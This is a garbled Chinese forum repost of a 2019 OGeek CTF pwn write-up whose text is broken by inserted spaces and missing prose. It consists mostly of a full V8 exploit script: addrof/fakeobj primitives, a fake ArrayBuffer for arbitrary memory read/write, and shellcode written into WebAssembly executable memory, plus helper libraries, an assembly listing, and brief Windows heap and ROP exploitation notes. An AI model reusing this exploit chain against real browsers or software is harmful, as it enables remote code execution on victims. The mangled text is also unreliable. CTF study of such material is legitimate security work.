[27709] 2019-11-06_OGeek线上CTF挑战赛pwn题详细WriteUp

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2019-11-06_OGeek线上CTF挑战赛pwn题详细WriteUp O G e e k 线 C T F p w n W r i t e   U p   O S R C   O P P O   2 0 1 9 - 1 1 - 0 6   #     , 1 8 a c e _ c h a l l e n g e c h a l . p a t c h v 8 : 1 e x p l o i t . j s v a r   v u l n _ i d x   =   0 ; v a r   r e f s   =   [ ] ; v a r   s h e l l c o d e   =   [ 0 x 4 8 , 0 x b f , 0 x 2 2 , 0 x 1 1 , 0 x f f , 0 x e e , 0 x d d , 0 x c c , 0 x b b , 0 x a a , 0 x 4 8 , 0 x 3 1 , 0 x f 6 , 0 x b 8 , 0 x 0 2 , 0 x 0 0 , 0 x 0 0 , 0 x 0 0 , 0 x 0 f , 0 x 0 5 , 0 x 4 8 , 0 x 8 9 , 0 x f e , 0 x 4 8 , 0 x 8 9 , 0 x c 7 , 0 x b a , 0 x 6 4 , 0 x 0 0 , 0 x 0 0 , 0 x 0 0 , 0 x 3 1 v a r   f l a g _ b u f f e r   =   n e w   U i n t 8 A r r a y ( 0 x 1 0 0 0 ) ; v a r   f l a g _ p a t h   =   " / d a t a / l o c a l / t m p / f l a g " ; l e t   w a s m _ c o d e   =   n e w   U i n t 8 A r r a y ( [ 0 ,   9 7 ,   1 1 5 ,   1 0 9 ,   1 ,   0 ,   0 ,   0 ,   1 ,   7 ,   1 ,   9 6 ,   2 ,   1 2 7 ,   1 2 7 ,   1 ,   1 2 7 ,   3 ,   2 ,   1 ,   0 ,   4 ,   4 ,   1 ,   1 1 2 ,   0 ,   0 ,   5 ,   3 ,   1 ,   0 ,   1 ,   7 ,   2 1 ,   2 ,   6 ,   1 0 9 ,   1 0 1 ,   1 0 9 ,   1 1 1 ,   l e t   w a s m _ m o d   =   n e w   W e b A s s e m b l y . I n s t a n c e ( n e w   W e b A s s e m b l y . M o d u l e ( w a s m _ c o d e ) ,   { } ) ; l e t   f   =   w a s m _ m o d . e x p o r t s . _ Z 3 a d d i i ; f u n c t i o n   a d d r o f ( o b j )   { l e t   _ a d d r o f   =   e v a l ( ` ( o b j )   = >   {     f u n c t i o n   I n n e r $ { v u l n _ i d x } ( )   {         t h i s . a $ { v u l n _ i d x }   =   1 . 1 ;         t h i s . b $ { v u l n _ i d x }   =   2 . 2 ;     }     f u n c t i o n   O u t e r $ { v u l n _ i d x } ( i n n e r )   {   t h i s . i n n e r $ { v u l n _ i d x }   =   i n n e r ;   }     v a r   i   =   n e w   I n n e r $ { v u l n _ i d x } ( ) ;     v a r   o   =   n e w   O u t e r $ { v u l n _ i d x } ( i ) ;     O u t e r $ { v u l n _ i d x } . p r o t o t y p e . b o o m   =   f u n c t i o n   ( )   {         r e t u r n   t h i s . i n n e r $ { v u l n _ i d x } . a $ { v u l n _ i d x } ;     }     f o r ( v a r   i d x   =   0 ;   i d x   <   0 x 1 0 0 0 0 ;   i d x + + )   {         o . b o o m ( ) ;     }     o   =   n e w   O u t e r $ { v u l n _ i d x } ( { a $ { v u l n _ i d x } :   o b j ,   b $ { v u l n _ i d x } :   2 . 2 } ) ;     r e t u r n   o . b o o m ( ) ; }     ` ) ;     v u l n _ i d x   + =   1 ; r e t u r n   _ a d d r o f ( o b j ) ; } f u n c t i o n   f a k e o b j ( a d d r )   { l e t   _ f a k e o b j   =   e v a l ( ` ( a d d r )   = >   {     f u n c t i o n   I n n e r $ { v u l n _ i d x } ( )   {         t h i s . a $ { v u l n _ i d x }   =   [ ] ;         t h i s . b $ { v u l n _ i d x }   =   2 . 2 ;     }     f u n c t i o n   O u t e r $ { v u l n _ i d x } ( i n n e r )   {   t h i s . i n n e r $ { v u l n _ i d x }   =   i n n e r ;   }     v a r   i   =   n e w   I n n e r $ { v u l n _ i d x } ( ) ;     v a r   o   =   n e w   O u t e r $ { v u l n _ i d x } ( i ) ;     O u t e r $ { v u l n _ i d x } . p r o t o t y p e . b o o m   =   f u n c t i o n   ( )   {         r e t u r n   t h i s . i n n e r $ { v u l n _ i d x } . a $ { v u l n _ i d x } ;     }     f o r ( v a r   i d x   =   0 ;   i d x   <   0 x 1 0 0 0 0 ;   i d x + + )   {         o . b o o m ( ) ;     }     o   =   n e w   O u t e r $ { v u l n _ i d x } ( { a $ { v u l n _ i d x } :   a d d r ,   b $ { v u l n _ i d x } :   2 . 2 } ) ;     r e t u r n   o . b o o m ( ) ; }     ` ) ;     v u l n _ i d x   + =   1 ; r e t u r n   _ f a k e o b j ( a d d r ) ; } / /   l e a k   m a p   u s i n g   o o b f u n c t i o n   l e a k _ m a p ( )   {
f u n c t i o n   O u t e r ( i n n e r )   { t h i s . i n n e r   =   i n n e r ;     } v a r   c r o s s _ o f f   =   1 7 ; v a r   o b j _ s t r   =   " v a r   i n n e r   =   { " ; f o r ( v a r   i   =   0 ;   i   < =   c r o s s _ o f f ;   i + + )   {         o b j _ s t r   + =   S t r i n g . f r o m C h a r C o d e ( 0 x 6 1   +   i ) ;         o b j _ s t r   + =   " :   1 . 1 ,   " ;     }     o b j _ s t r   + =   " } " ; e v a l ( o b j _ s t r ) ;   v a r   o u t e r   =   n e w   O u t e r ( i n n e r ) ;     O u t e r . p r o t o t y p e . b o o m   =   f u n c t i o n   ( )   { r e t u r n   t h i s . i n n e r . r ;     } ; v a r   i 2   =   { a :   1 . 1 ,   b :   2 . 2 } ; v a r   a b   =   n e w   A r r a y B u f f e r ( 0 x 1 0 0 ) ; f o r ( v a r   i   =   0 ;   i   <   2 0 0 0 0 ;   i + + )   {         o u t e r . b o o m ( ) ;     }     o u t e r   =   n e w   O u t e r ( i 2 ) ; v a r   l e a k   =   o u t e r . b o o m ( ) ; r e t u r n   l e a k ; } f u n c t i o n   u 2 d ( u )   { r e t u r n   ( n e w   I n t 6 4 ( u ) ) . a s D o u b l e ( ) ; } f u n c t i o n   p w n ( )   { / /   p r e p a r a t i o n f o r ( v a r   i   =   0 ;   i   <   0 x 1 0 0 0 ;   i + + )   {         r e f s . p u s h ( [ 0 . 0 ,   1 . 1 ,   2 . 2 ,   3 . 3 ,   4 . 4 ,   5 . 5 ,   6 . 6 ,   7 . 7 ] ) ;     } / /   t e s t   e x p l o i t   p r i m i t i v e s v a r   o b j   =   [ 1 . 1 ,   2 . 2 ,   3 . 3 ,   4 . 4 ] ; v a r   o b j a d d r   =   a d d r o f ( o b j ) ; v a r   o   =   f a k e o b j ( o b j a d d r ) ; i f ( o [ 0 ]   ! =   1 . 1 )   {         p r i n t ( " [ - ]   E x p l o i t   p r i m i t i v e s   n o t   w o r k i n g . . " ) ; r e t u r n ;     }     p r i n t ( " [ + ]   E x p l o i t   p r i m i t i v e s   w o r k i n g   f i n e . " ) ; / /   e x p l o i t a t i o n v a r   a b _ m a p   =   l e a k _ m a p ( ) ;     p r i n t ( " [ + ]   L e a k e d   m a p   =   "   +   I n t 6 4 . f r o m D o u b l e ( a b _ m a p ) . t o S t r i n g ( ) ) ; v a r   o   =   { a : 0 . 0 ,   b : 0 . 0 ,   c : 0 . 0 ,   d : 0 . 0 ,   e : 0 . 0 ,   f : 0 . 0 ,   g :   0 . 0 ,   h : 0 . 0 ,   i : 0 . 0 ,   j : 0 . 0 } ;     o . b   =   a b _ m a p ;     o . c   =   a b _ m a p ;     o . d   =   a b _ m a p ;     o . e   =   u 2 d ( 0 x 4 0 0 ) ;     o . f   =   u 2 d ( 0 x 4 1 4 1 4 1 4 1 ) ;     o . g   =   a b _ m a p ; v a r   o _ a d d r   =   I n t 6 4 . f r o m D o u b l e ( a d d r o f ( o ) ) ;     p r i n t ( " [ + ]   O b j e c t   a d d r e s s :   "   +   o _ a d d r . t o S t r i n g ( ) ) ; v a r   f a k e d   =   A d d ( o _ a d d r ,   0 x 2 0 ) ; v a r   f a k e _ a b   =   f a k e o b j ( f a k e d . a s D o u b l e ( ) ) ;     p r i n t ( " [ + ]   F a k e   A r r a y B u f f e r   c r e a t e d .   L e n g t h :   "   +   f a k e _ a b . b y t e L e n g t h ) ; v a r   r w   =   { s e t _ a d d r :   f u n c t i o n   ( a d d r )   {             o . f   =   a d d r . a s D o u b l e ( ) ;         } , w r i t e :   f u n c t i o n   ( a d d r ,   b y t e s )   { t h i s . s e t _ a d d r ( a d d r ) ; v a r   v i e w   =   n e w   U i n t 8 A r r a y ( f a k e _ a b ) ;             v i e w . s e t ( b y t e s ) ;         } , r e a d 8 :   f u n c t i o n   ( a d d r )   { t h i s . s e t _ a d d r ( a d d r ) ; v a r   v i e w   =   n e w   U i n t 8 A r r a y ( f a k e _ a b ) ; r e t u r n   n e w   I n t 6 4 ( v i e w . s l i c e ( 0 ,   8 ) ) ;         } , a d d r o f :   f u n c t i o n   ( o b j )   { r e t u r n   I n t 6 4 . f r o m D o u b l e ( a d d r o f ( o b j ) ) ;         }
2 i n t 6 4 . j s         }     } ; / / v a r   f l a g _ a b   =   n e w   U i n t 8 A r r a y ( [ 1 , 2 , 3 ] ) ; v a r   a d d r _ f   =   r w . a d d r o f ( f ) ;     p r i n t ( " [ + ]   f u n c   =   "   +   a d d r _ f . t o S t r i n g ( ) ) ; v a r   s h a r e d _ f u n c _ i n f o   =   r w . r e a d 8 ( A d d ( S u b ( a d d r _ f ,   I n t 6 4 . O n e ) ,   n e w   I n t 6 4 ( 0 x 1 8 ) ) ) ;     p r i n t ( " [ + ]   s h a r e d _ f u n c _ i n f o   =   "   +   s h a r e d _ f u n c _ i n f o . t o S t r i n g ( ) ) ; v a r   e x p o r t e d   =   r w . r e a d 8 ( A d d ( S u b ( s h a r e d _ f u n c _ i n f o ,   I n t 6 4 . O n e ) ,   n e w   I n t 6 4 ( 8 ) ) ) ;     p r i n t ( " [ + ]   e x p o r t e d   =   "   +   e x p o r t e d . t o S t r i n g ( ) ) ; v a r   i n s t a n c e   =   r w . r e a d 8 ( A d d ( S u b ( e x p o r t e d ,   I n t 6 4 . O n e ) ,   n e w   I n t 6 4 ( 0 x 1 0 ) ) ) ;     p r i n t ( " [ + ]   i n s t a n c e   =   "   +   i n s t a n c e . t o S t r i n g ( ) ) ; v a r   r w x _ m e m o r y   =   r w . r e a d 8 ( A d d ( S u b ( i n s t a n c e ,   I n t 6 4 . O n e ) ,   n e w   I n t 6 4 ( 0 x 8 8 ) ) ) ;     p r i n t ( " [ + ]   r w x _ m e m o r y   =   "   +   r w x _ m e m o r y . t o S t r i n g ( ) ) ; v a r   f b _ a d d r   =   r w . a d d r o f ( f l a g _ b u f f e r ) ;     p r i n t ( " [ + ]   f b _ a d d r   =   "   +   f b _ a d d r . t o S t r i n g ( ) ) ; v a r   b u f _ a d d r   =   r w . r e a d 8 ( A d d ( S u b ( f b _ a d d r ,   I n t 6 4 . O n e ) ,   n e w   I n t 6 4 ( 0 x 3 8 ) ) ) ;     p r i n t ( " [ + ]   b u f _ a d d r   =   "   +   b u f _ a d d r . t o S t r i n g ( ) ) ; f o r ( v a r   i   =   0 ;   i   <   f l a g _ p a t h . l e n g t h ;   i + + )   {         f l a g _ b u f f e r [ i ]   =   f l a g _ p a t h . c h a r C o d e A t ( i ) ;     } f o r ( v a r   i   =   0 ;   i   <   8 ;   i + + )   {         s h e l l c o d e [ i   +   2 ]   =   b u f _ a d d r . b y t e A t ( i ) ;     }     r w . w r i t e ( r w x _ m e m o r y ,   s h e l l c o d e ) ;     f ( ) ; v a r   f l a g   =   " " ; f o r ( v a r   i   =   0 ;   i   <   f l a g _ b u f f e r . l e n g t h ;   i + + )   { i f ( f l a g _ b u f f e r [ i ]   = =   0 )   { b r e a k ;         }         f l a g   + =   S t r i n g . f r o m C h a r C o d e ( f l a g _ b u f f e r [ i ] ) ;     }     p r i n t ( " [ + ]   F l a g   =   "   +   f l a g ) ;     p r i n t ( " [ + ]   D o n e ! " ) ; r e t u r n ; } / / / /   T i n y   m o d u l e   t h a t   p r o v i d e s   b i g   ( 6 4 b i t )   i n t e g e r s . / / / /   C o p y r i g h t   ( c )   2 0 1 6   S a m u e l   G r o ß / / / /   R e q u i r e s   u t i l s . j s / / / /   D a t a t y p e   t o   r e p r e s e n t   6 4 - b i t   i n t e g e r s . / / / /   I n t e r n a l l y ,   t h e   i n t e g e r   i s   s t o r e d   a s   a   U i n t 8 A r r a y   i n   l i t t l e   e n d i a n   b y t e   o r d e r . f u n c t i o n   I n t 6 4 ( v )   { / /   T h e   u n d e r l y i n g   b y t e   a r r a y . v a r   b y t e s   =   n e w   U i n t 8 A r r a y ( 8 ) ; s w i t c h   ( t y p e o f   v )   { c a s e   ' n u m b e r ' :                         v   =   ' 0 x '   +   M a t h . f l o o r ( v ) . t o S t r i n g ( 1 6 ) ; c a s e   ' s t r i n g ' : i f   ( v . s t a r t s W i t h ( ' 0 x ' ) )                                 v   =   v . s u b s t r ( 2 ) ; i f   ( v . l e n g t h   %   2   = =   1 )                                 v   =   ' 0 '   +   v ; v a r   b i g E n d i a n   =   u n h e x l i f y ( v ,   8 ) ;                         b y t e s . s e t ( A r r a y . f r o m ( b i g E n d i a n ) . r e v e r s e ( ) ) ; b r e a k ; c a s e   ' o b j e c t ' : i f   ( v   i n s t a n c e o f   I n t 6 4 )   {
i f   ( v   i n s t a n c e o f   I n t 6 4 )   {                                 b y t e s . s e t ( v . b y t e s ( ) ) ;                         }   e l s e   { i f   ( v . l e n g t h   ! =   8 ) t h r o w   T y p e E r r o r ( " A r r a y   m u s t   h a v e   e x c a c t l y   8   e l e m e n t s . " ) ;                                 b y t e s . s e t ( v ) ;                         } b r e a k ; c a s e   ' u n d e f i n e d ' : b r e a k ; d e f a u l t : t h r o w   T y p e E r r o r ( " I n t 6 4   c o n s t r u c t o r   r e q u i r e s   a n   a r g u m e n t . " ) ;         } / /   R e t u r n   a   d o u b l e   w h i t h   t h e   s a m e   u n d e r l y i n g   b i t   r e p r e s e n t a t i o n . t h i s . a s D o u b l e   =   f u n c t i o n ( )   { / /   C h e c k   f o r   N a N i f   ( b y t e s [ 7 ]   = =   0 x f f   & &   ( b y t e s [ 6 ]   = =   0 x f f   | |   b y t e s [ 6 ]   = =   0 x f e ) ) t h r o w   n e w   R a n g e E r r o r ( " I n t e g e r   c a n   n o t   b e   r e p r e s e n t e d   b y   a   d o u b l e " ) ; r e t u r n   S t r u c t . u n p a c k ( S t r u c t . f l o a t 6 4 ,   b y t e s ) ;         } ; / /   R e t u r n   a   j a v a s c r i p t   v a l u e   w i t h   t h e   s a m e   u n d e r l y i n g   b i t   r e p r e s e n t a t i o n . / /   T h i s   i s   o n l y   p o s s i b l e   f o r   i n t e g e r s   i n   t h e   r a n g e   [ 0 x 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 ,   0 x f f f f 0 0 0 0 0 0 0 0 0 0 0 0 ) / /   d u e   t o   d o u b l e   c o n v e r s i o n   c o n s t r a i n t s . t h i s . a s J S V a l u e   =   f u n c t i o n ( )   { i f   ( ( b y t e s [ 7 ]   = =   0   & &   b y t e s [ 6 ]   = =   0 )   | |   ( b y t e s [ 7 ]   = =   0 x f f   & &   b y t e s [ 6 ]   = =   0 x f f ) ) t h r o w   n e w   R a n g e E r r o r ( " I n t e g e r   c a n   n o t   b e   r e p r e s e n t e d   b y   a   J S V a l u e " ) ; / /   F o r   N a N - b o x i n g ,   J S C   a d d s   2 ^ 4 8   t o   a   d o u b l e   v a l u e ' s   b i t   p a t t e r n . t h i s . a s s i g n S u b ( t h i s ,   0 x 1 0 0 0 0 0 0 0 0 0 0 0 0 ) ; v a r   r e s   =   S t r u c t . u n p a c k ( S t r u c t . f l o a t 6 4 ,   b y t e s ) ; t h i s . a s s i g n A d d ( t h i s ,   0 x 1 0 0 0 0 0 0 0 0 0 0 0 0 ) ; r e t u r n   r e s ;         } ; / /   R e t u r n   t h e   u n d e r l y i n g   b y t e s   o f   t h i s   n u m b e r   a s   a r r a y . t h i s . b y t e s   =   f u n c t i o n ( )   { r e t u r n   A r r a y . f r o m ( b y t e s ) ;         } ; / /   R e t u r n   t h e   b y t e   a t   t h e   g i v e n   i n d e x . t h i s . b y t e A t   =   f u n c t i o n ( i )   { r e t u r n   b y t e s [ i ] ;         } ; / /   R e t u r n   t h e   v a l u e   o f   t h i s   n u m b e r   a s   u n s i g n e d   h e x   s t r i n g . t h i s . t o S t r i n g   =   f u n c t i o n ( )   { r e t u r n   ' 0 x '   +   h e x l i f y ( A r r a y . f r o m ( b y t e s ) . r e v e r s e ( ) ) ;         } ; t h i s . a s I n t   =   f u n c t i o n ( )   { r e t u r n   p a r s e I n t ( t h i s . t o S t r i n g ( ) ) ;         } / /   B a s i c   a r i t h m e t i c . / /   T h e s e   f u n c t i o n s   a s s i g n   t h e   r e s u l t   o f   t h e   c o m p u t a t i o n   t o   t h e i r   ' t h i s '   o b j e c t . / /   D e c o r a t o r   f o r   I n t 6 4   i n s t a n c e   o p e r a t i o n s .   T a k e s   c a r e / /   o f   c o n v e r t i n g   a r g u m e n t s   t o   I n t 6 4   i n s t a n c e s   i f   r e q u i r e d . f u n c t i o n   o p e r a t i o n ( f ,   n a r g s )   { r e t u r n   f u n c t i o n ( )   { i f   ( a r g u m e n t s . l e n g t h   ! =   n a r g s )
i f   ( a r g u m e n t s . l e n g t h   ! =   n a r g s ) t h r o w   E r r o r ( " N o t   e n o u g h   a r g u m e n t s   f o r   f u n c t i o n   "   +   f . n a m e ) ; f o r   ( v a r   i   =   0 ;   i   <   a r g u m e n t s . l e n g t h ;   i + + ) i f   ( ! ( a r g u m e n t s [ i ]   i n s t a n c e o f   I n t 6 4 ) ) a r g u m e n t s [ i ]   =   n e w   I n t 6 4 ( a r g u m e n t s [ i ] ) ; r e t u r n   f . a p p l y ( t h i s ,   a r g u m e n t s ) ;                 } ;         } / /   t h i s   =   - n   ( t w o ' s   c o m p l e m e n t ) t h i s . a s s i g n N e g   =   o p e r a t i o n ( f u n c t i o n   n e g ( n )   { f o r   ( v a r   i   =   0 ;   i   <   8 ;   i + + )                         b y t e s [ i ]   =   ~ n . b y t e A t ( i ) ; r e t u r n   t h i s . a s s i g n A d d ( t h i s ,   I n t 6 4 . O n e ) ;         } ,   1 ) ; / /   t h i s   =   a   +   b t h i s . a s s i g n A d d   =   o p e r a t i o n ( f u n c t i o n   a d d ( a ,   b )   { v a r   c a r r y   =   0 ; f o r   ( v a r   i   =   0 ;   i   <   8 ;   i + + )   { v a r   c u r   =   a . b y t e A t ( i )   +   b . b y t e A t ( i )   +   c a r r y ;                         c a r r y   =   c u r   >   0 x f f   |   0 ;                         b y t e s [ i ]   =   c u r ;                 } r e t u r n   t h i s ;         } ,   2 ) ; / /   t h i s   =   a   -   b t h i s . a s s i g n S u b   =   o p e r a t i o n ( f u n c t i o n   s u b ( a ,   b )   { v a r   c a r r y   =   0 ; f o r   ( v a r   i   =   0 ;   i   <   8 ;   i + + )   { v a r   c u r   =   a . b y t e A t ( i )   -   b . b y t e A t ( i )   -   c a r r y ;                         c a r r y   =   c u r   <   0   |   0 ;                         b y t e s [ i ]   =   c u r ;                 } r e t u r n   t h i s ;         } ,   2 ) ; / /   t h i s   =   a   ^   b t h i s . a s s i g n X o r   =   o p e r a t i o n ( f u n c t i o n   s u b ( a ,   b )   { f o r   ( v a r   i   =   0 ;   i   <   8 ;   i + + )   {                         b y t e s [ i ]   =   a . b y t e A t ( i )   ^   b . b y t e A t ( i ) ;                 } r e t u r n   t h i s ;         } ,   2 ) ; } / /   C o n s t r u c t s   a   n e w   I n t 6 4   i n s t a n c e   w i t h   t h e   s a m e   b i t   r e p r e s e n t a t i o n   a s   t h e   p r o v i d e d   d o u b l e . I n t 6 4 . f r o m D o u b l e   =   f u n c t i o n ( d )   { v a r   b y t e s   =   S t r u c t . p a c k ( S t r u c t . f l o a t 6 4 ,   d ) ; r e t u r n   n e w   I n t 6 4 ( b y t e s ) ; } ; / /   C o n v e n i e n c e   f u n c t i o n s .   T h e s e   a l l o c a t e   a   n e w   I n t 6 4   t o   h o l d   t h e   r e s u l t . / /   R e t u r n   - n   ( t w o ' s   c o m p l e m e n t ) f u n c t i o n   N e g ( n )   { r e t u r n   ( n e w   I n t 6 4 ( ) ) . a s s i g n N e g ( n ) ; } / /   R e t u r n   a   +   b f u n c t i o n   A d d ( a ,   b )   { r e t u r n   ( n e w   I n t 6 4 ( ) ) . a s s i g n A d d ( a ,   b ) ; }
3 s h e l l c o d e . a s m 4 u t i l s . j s } / /   R e t u r n   a   -   b f u n c t i o n   S u b ( a ,   b )   { r e t u r n   ( n e w   I n t 6 4 ( ) ) . a s s i g n S u b ( a ,   b ) ; } / /   R e t u r n   a   ^   b f u n c t i o n   X o r ( a ,   b )   { r e t u r n   ( n e w   I n t 6 4 ( ) ) . a s s i g n X o r ( a ,   b ) ; } / /   S o m e   c o m m o n l y   u s e d   n u m b e r s . I n t 6 4 . Z e r o   =   n e w   I n t 6 4 ( 0 ) ; I n t 6 4 . O n e   =   n e w   I n t 6 4 ( 1 ) ; ;   n a s m   - f   b i n   - o   s h e l l c o d e . b i n   s h e l l c o d e . a s m o r g   0 1 0 0 h B I T S   6 4 m o v   r d i ,   0 x a a b b c c d d e e f f 1 1 2 2 x o r   r s i ,   r s i m o v   e a x ,   2 s y s c a l l m o v   r s i ,   r d i m o v   r d i ,   r a x m o v   r d x ,   0 x 6 4 x o r   e a x ,   e a x s y s c a l l r e t / / / /   U t i l i t y   f u n c t i o n s . / / / /   C o p y r i g h t   ( c )   2 0 1 6   S a m u e l   G r o ß / / / /   P r i n t   f u n c t i o n   i n   b r o w s e r   c o n t e x t . f u n c t i o n   b r o w s e r _ p r i n t ( m s g )   { c o n s o l e . l o g ( m s g ) ; d o c u m e n t . b o d y . i n n e r T e x t   + =   m s g   +   ' n ' ; } i f   ( t y p e o f ( w i n d o w )   ! = =   ' u n d e f i n e d ' )         p r i n t   =   b r o w s e r _ p r i n t ; / /   L o g   a   m e s s a g e   a n d   a b o r t   e x e c u t i o n . f u n c t i o n   f a i l ( m s g )   {         p r i n t ( " [ - ]   "   +   m s g ) ; t h r o w   n u l l ; } / /   S i m p l e   a s s e r t   f u n c t i o n . f u n c t i o n   a s s e r t ( c o n d ,   m s g )   { i f   ( ! c o n d )   {                 f a i l ( m s g ) ;         } }
/ /   R e t u r n   t h e   h e x a d e c i m a l   r e p r e s e n t a t i o n   o f   t h e   g i v e n   b y t e . f u n c t i o n   h e x ( b )   { r e t u r n   ( ' 0 '   +   b . t o S t r i n g ( 1 6 ) ) . s u b s t r ( - 2 ) ; } / /   R e t u r n   t h e   h e x a d e c i m a l   r e p r e s e n t a t i o n   o f   t h e   g i v e n   b y t e   a r r a y . f u n c t i o n   h e x l i f y ( b y t e s )   { v a r   r e s   =   [ ] ; f o r   ( v a r   i   =   0 ;   i   <   b y t e s . l e n g t h ;   i + + )                 r e s . p u s h ( h e x ( b y t e s [ i ] ) ) ; r e t u r n   r e s . j o i n ( ' ' ) ; } / /   R e t u r n   t h e   b i n a r y   d a t a   r e p r e s e n t e d   b y   t h e   g i v e n   h e x d e c i m a l   s t r i n g . f u n c t i o n   u n h e x l i f y ( h e x s t r )   { i f   ( h e x s t r . l e n g t h   %   2   = =   1 ) t h r o w   n e w   T y p e E r r o r ( " I n v a l i d   h e x   s t r i n g " ) ; v a r   b y t e s   =   n e w   U i n t 8 A r r a y ( h e x s t r . l e n g t h   /   2 ) ; f o r   ( v a r   i   =   0 ;   i   <   h e x s t r . l e n g t h ;   i   + =   2 )                 b y t e s [ i / 2 ]   =   p a r s e I n t ( h e x s t r . s u b s t r ( i ,   2 ) ,   1 6 ) ; r e t u r n   b y t e s ; } f u n c t i o n   h e x d u m p ( d a t a )   { i f   ( t y p e o f   d a t a . B Y T E S _ P E R _ E L E M E N T   ! = =   ' u n d e f i n e d ' )                 d a t a   =   A r r a y . f r o m ( d a t a ) ; v a r   l i n e s   =   [ ] ; f o r   ( v a r   i   =   0 ;   i   <   d a t a . l e n g t h ;   i   + =   1 6 )   { v a r   c h u n k   =   d a t a . s l i c e ( i ,   i + 1 6 ) ; v a r   p a r t s   =   c h u n k . m a p ( h e x ) ; i f   ( p a r t s . l e n g t h   >   8 )                         p a r t s . s p l i c e ( 8 ,   0 ,   '   ' ) ;                 l i n e s . p u s h ( p a r t s . j o i n ( '   ' ) ) ;         } r e t u r n   l i n e s . j o i n ( ' n ' ) ; } / /   S i m p l i f i e d   v e r s i o n   o f   t h e   s i m i l a r l y   n a m e d   p y t h o n   m o d u l e . v a r   S t r u c t   =   ( f u n c t i o n ( )   { / /   A l l o c a t e   t h e s e   o n c e   t o   a v o i d   u n e c e s s a r y   h e a p   a l l o c a t i o n s   d u r i n g   p a c k / u n p a c k   o p e r a t i o n s . v a r   b u f f e r             =   n e w   A r r a y B u f f e r ( 8 ) ; v a r   b y t e V i e w         =   n e w   U i n t 8 A r r a y ( b u f f e r ) ; v a r   u i n t 3 2 V i e w     =   n e w   U i n t 3 2 A r r a y ( b u f f e r ) ; v a r   f l o a t 6 4 V i e w   =   n e w   F l o a t 6 4 A r r a y ( b u f f e r ) ; r e t u r n   { p a c k :   f u n c t i o n ( t y p e ,   v a l u e )   { v a r   v i e w   =   t y p e ;                 / /   S e e   b e l o w                         v i e w [ 0 ]   =   v a l u e ; r e t u r n   n e w   U i n t 8 A r r a y ( b u f f e r ,   0 ,   t y p e . B Y T E S _ P E R _ E L E M E N T ) ;                 } , u n p a c k :   f u n c t i o n ( t y p e ,   b y t e s )   { i f   ( b y t e s . l e n g t h   ! = =   t y p e . B Y T E S _ P E R _ E L E M E N T ) t h r o w   E r r o r ( " I n v a l i d   b y t e a r r a y " ) ; v a r   v i e w   =   t y p e ;                 / /   S e e   b e l o w                         b y t e V i e w . s e t ( b y t e s ) ; r e t u r n   v i e w [ 0 ] ;
h t t p   s e r v e r U R L A n d r o i d r e t u r n   v i e w [ 0 ] ;                 } , / /   A v a i l a b l e   t y p e s .                 i n t 8 :         b y t e V i e w , i n t 3 2 :       u i n t 3 2 V i e w , f l o a t 6 4 :   f l o a t 6 4 V i e w         } ; } ) ( ) ; l e t   r e t r y   =   ( )   = >   {     l o c a t i o n . r e l o a d ( t r u e ) ; } ; f u n c t i o n   D b g B r e a k ( )   {     a l e r t ( ' B r e a k ! ' ) ; }
b a b y h e a p 1 8 0 x 1 0 0 w i n d o w s   h e a p L F H   a r b i t r a r y   h e a p   o v e r f l o w   l i n u x   h e a p   e x p l o i t a t i o n w i n d o w s   h e a p u n l i n k     _ H E A P _ F R E E _ E N T R Y     F l i n k / B l i n k   D W s h o o t 使 u n l i n k g _ l i s t [ i ] 使 1 .   _ H E A P _ E N T R Y     h e a d e r 使   p r i n t f   t e r m i n a t o r     l e a k     e n c r y p t e d   h e a d e r 2 . l i n u x 使 G O T l e a k   l i b c w i n d o w s I A T l e a k l e a k   :   k e r n e l 3 2 . d l l   - >   k e r n e l b a s e . d l l   - >   B a s e p F i l t e r I n f o   - >   s t a c k   p o i n t e r   - >   r e t a d d r l e a k   u c r t b a s e d . d l l s y s t e m s y s t e m R O P s y s t e m ( c m d . e x e 0 )
b a b y r o p 使 s t r n c m p 使 s t r l e n   x 0 0
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则